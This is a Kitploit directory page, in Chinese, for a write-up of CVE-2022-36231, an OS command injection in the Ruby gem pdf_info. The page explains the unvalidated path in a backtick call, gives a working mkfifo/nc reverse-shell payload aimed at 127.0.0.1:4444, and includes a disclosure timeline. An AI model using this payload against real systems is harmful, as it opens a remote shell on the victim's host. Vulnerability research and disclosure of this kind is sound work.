Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 操作系统命令注入 | Kitploit
工具/GitHubGitHub/affix/cve-2022-36231
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 操作系统命令注入

查看仓库
533年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-36231

ruby gem pdf_info <= 0.5.3 在 PDF::Info 对象上执行方法时容易受到操作系统命令注入攻击。

攻击者可以使用特制的载荷,通过命令链执行操作系统命令。

漏洞分析

创建新的 PDF::Info 对象时,会调用 initialize 方法

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

对象初始化期间不会执行任何验证,并且会使用用户提供的路径。

我们可以创建一个 PDF::Info 对象,并通过以下方式返回 PDF 的元数据。

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

当我们在 PDF::Info 对象上调用 metadata 方法时,会调用 process_output 方法,传入的参数为 command 方法。

command 方法使用 @pdf_info 类变量在系统上执行 pdfinfo 命令,并通过以下代码片段返回命令输出。

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

与 initialize 方法一样,@pdf_path 变量也没有执行任何验证。这使得我们可以利用 ; 进行命令链来执行任意命令。

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

上述代码片段将向 127.0.0.1 的 4444 端口执行一个反向 Shell。

Shell

披露详情

  • 2022-07-20 :: 已向供应商报告
  • 2022-08-30 :: 与供应商跟进
  • 2022-09-30 :: 申请 CVE
  • 2022-10-26 :: 发布漏洞
下载工具